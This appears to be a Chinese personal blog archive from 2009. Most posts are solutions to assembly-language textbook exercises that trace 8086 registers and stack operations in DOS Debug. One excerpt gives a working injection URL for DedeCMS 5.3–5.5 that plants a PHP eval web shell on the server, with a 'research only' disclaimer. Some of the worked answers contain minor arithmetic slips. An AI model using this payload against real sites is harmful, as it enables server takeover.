王爽汇编语言(第2版)实验3

2009年10月7日 小 恒 没有评论

(1) 将下面的程序保存为t1.asm文件,将其生成可执行文件t1.exe。

  1.  assume cs:codesg
  2.  
  3.  codesg segment
  4.  mov ax,2000H
  5.  mov ss,ax
  6.  mov sp,0
  7.  add sp,10
  8.  pop ax
  9.  pop bx
  10.  push ax
  11.  push bx
  12.  pop ax
  13.  pop bx
  14.  mov ax,4c00H
  15.  int 21H
  16.  
  17.  codesg ends
  18.  
  19.  end

 

(2) 用Debug跟踪t1.exe的执行过程,写出每一步执行后,相关寄存器中的内容和栈顶的内容。

(3) PSPR头两个字节是CD 20,用Debug加载t1.exe,查看PSP的内容。

输入命令:
debug t1.exe
d ds:0 ff

分类: ASM, 原创 标签:

王爽汇编语言(第2版)实验2

2009年10月6日 小 恒 没有评论

(1) 使用Debug,将下面的程序段写入内存,逐条执行,根据指令执行后的实际运行情况填空。

mov ax,ffff
mov ds,ax

mov ax,2200
mov ss,ax

mov sp,0100

mov ax,[0]    ;ax=5BEA
add ax,[2]      ;ax=5CCA
mov bx,[4]    ;bx=30F0
add bx,[6]      ;bx=6021

push ax    ;sp=00FE; 修改的内存单元地址是220FE内容为5CCA
push bx    ;sp=00FC; 修改的内存单元地址是220FC内容为6021
pop ax      ;sp=00FE; ax=6021
pop bx      ;sp=0100; bx=5CCA

push [4]    ;sp=00FE; 修改的内存单元地址是220FE内容为30F0
push [6]    ;sp=00FC; 修改的内存单元地址是220FC内容为2F31

(2) 仔细观察图3.19中的实验过程,然后分析:为什么2000:0~2000:f中的内容会发生改变?

可能要再做些实验才能发现其中的规律。如果你在这里就正确回答了这个问题,那么要恭喜你,因为你有很好的悟性。大多数的学习者对这个问题还是比较迷惑的,不过不要紧,因为随着课程的进行,这个问题的答案将逐渐变得显而易见。

图3.19 用Debug进行的实验

图3.19 用Debug进行的实验

分类: ASM, 原创 标签:

王爽汇编语言(第2版)检测点3.2

2009年8月23日 小 恒 没有评论

(1) 补全下面的程序,使其可以将10000H~1000FH中的8个字,逆序复制到20000H~2000FH中。逆序复制的含义如图3.17所示(图中内存里的数据均为假设)。

图3.17 逆序复制示意图

图3.17 逆序复制示意图

mov ax, 1000H
mov ds, ax
mov ax, 2000H  
mov ss, ax  
mov sp, 0010H  

push [0]
push [2]
push [4]
push [6]
push [8]
push [A]
push [C]
push [E]

(2) 补全下面的程序,使其可以将 10000H~1000FH 中的8个字,逆序复制到20000H~2000FH中。
mov ax, 2000H
mov ds, ax
mov ax, 1000H  
mov ss, ax  
mov sp, 0000H  
pop [E]
pop [C]
pop [A]
pop [8]
pop [6]
pop [4]
pop [2]
pop [0]

分类: ASM, 原创 标签:

dedecms注入漏洞 影响版本5.3 – 5.5

2009年8月10日 小 恒 没有评论

dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。

假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:

http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>

可看见以下错误信息

注入成功

注入成功

阅读全文…

分类: php, 原创 标签:

王爽汇编语言(第2版)检测点3.1

2009年8月7日 小 恒 1 条评论

(1) 在Debug中,用户”d 0:0 1F” 查看内存,结果如下。

0000:0000    70 80 F0 30 EF 60 30 E2-00 80 12 66 20 22 60
0000:0010    62 26 E6 D6 CC 2E 3C 3B-AB BA 00 00 26 06 66 88

下面的程序执行前,AX=0,BX=0,写出每条汇编指令执行后相关寄存器中的值。
阅读全文…

分类: ASM, 原创 标签:

王爽汇编语言(第2版)实验1

2009年8月2日 小 恒 没有评论

2.实验任务
(1)使用Debug,将下面的程序段写入内存,逐条执行,观察每条指令执行后,CPU中相关寄存器中内容的变化。

注意在进入debug模式时 AX 和 BX 的初始数据为 0000H

机器码 汇编指令
b8 20 4e    mov ax,4E20H    使用T命令读入指令后 IP = IP + 3  执行指令后 AX=4E20H
05 16 14    add ax,1416H    使用T命令读入指令后 IP = IP + 3   执行指令后 AX=6236H
bb 00 20   mov ax,2000H    使用T命令读入指令后 IP = IP + 3  执行指令后 AX =2000H
01 d8     add ax,bx    使用T命令读入指令后 IP = IP + 2  执行指令后 AX=2000H,BX=0000H
89 c3     mov bx,ax    使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2000H,BX=2000H
01 d8     add ax,bx    使用T命令读入指令后 IP = IP + 2 执行指令后   AX=4000H,BX=2000H
b8 1a 00     mov ax,001AH    使用T命令读入指令后 IP = IP + 2 执行指令后  AX=001AH,BX=2000H
bb 26 00     mov bx,0026H   使用T命令读入指令后 IP = IP + 3 执行指令后 AX=001AH,BX=0026H
00 d8      add al,bl   使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0040H,BX=0026H
00 dc      add ah,bl    使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2640H,BX=0026H
00 c7     add bh,al    使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2640H,BX=4026H
b4 00     mov ah,0  使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0040H,BX=4026H
00 d8     add al,bl    使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0066H,BX=4026H
04 9c     add al,9CH    使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0002H,BX=4026H
注意,以上结果是102H,担al是8位寄存器,高位1不能存放在al中
提示,可用E命令和A命令以两种方式将将指令写入内存。注意用T命令执行时,CS:IP的指向。

阅读全文…

分类: ASM, 原创 标签:

王爽汇编语言(第2版)检测点2.3

2009年7月31日 小 恒 没有评论

下面的3条指令执行后,CPU几次修改IP??都是在什么时候?最后IP中的值是多少?
mov ax, bx
sub ax, ax
jmp ax

指令序列:
mov ax, bx 读取这个指令进入指令缓冲器后第一次修改IP,IP = IP + 2; 执行后 ax = bx;
sub ax, ax 读取这个指令进入指令缓冲器后第二次修改IP,IP = IP + 2; 执行后 ax = 0000H;
jmp ax 读取这个指令进入指令缓冲器后第三次修改IP, IP = IP + 2; 指令执行后第四次修改IP,IP = 0000H;
阅读全文…

分类: ASM, 原创 标签:

王爽汇编语言(第2版)检测点2.2

2009年7月31日 小 恒 没有评论

知识点:
偏移地址16位,变化范围为0~FFFFH
基础地址(段地址X16)+偏移地址=物理地址
基础地址必须是16的倍数
16是十进制数据对应的十六进制数据是10H

(1) 给定段地址为0001H,仅通过变化偏移地址寻址,CPU的寻址范围为____到____。

计算公式:
0001H X 16 + 0000H = 0010H
0001H X 16 + FFFFH = 1000FH

CPU的寻址范围为 00010H 到 1000FH

(2) 有一数据存放在内存 20000H 单元中,现给定地址为 SA,若想用偏移地址寻到此单元。则SA应满足的条件是:最小为_____,最大为______________。
提示,反过来思考一下,当段地址给定为多少,CPU无论怎么变化偏移地址都无法寻到20000H单元?
阅读全文…

分类: ASM, 原创 标签: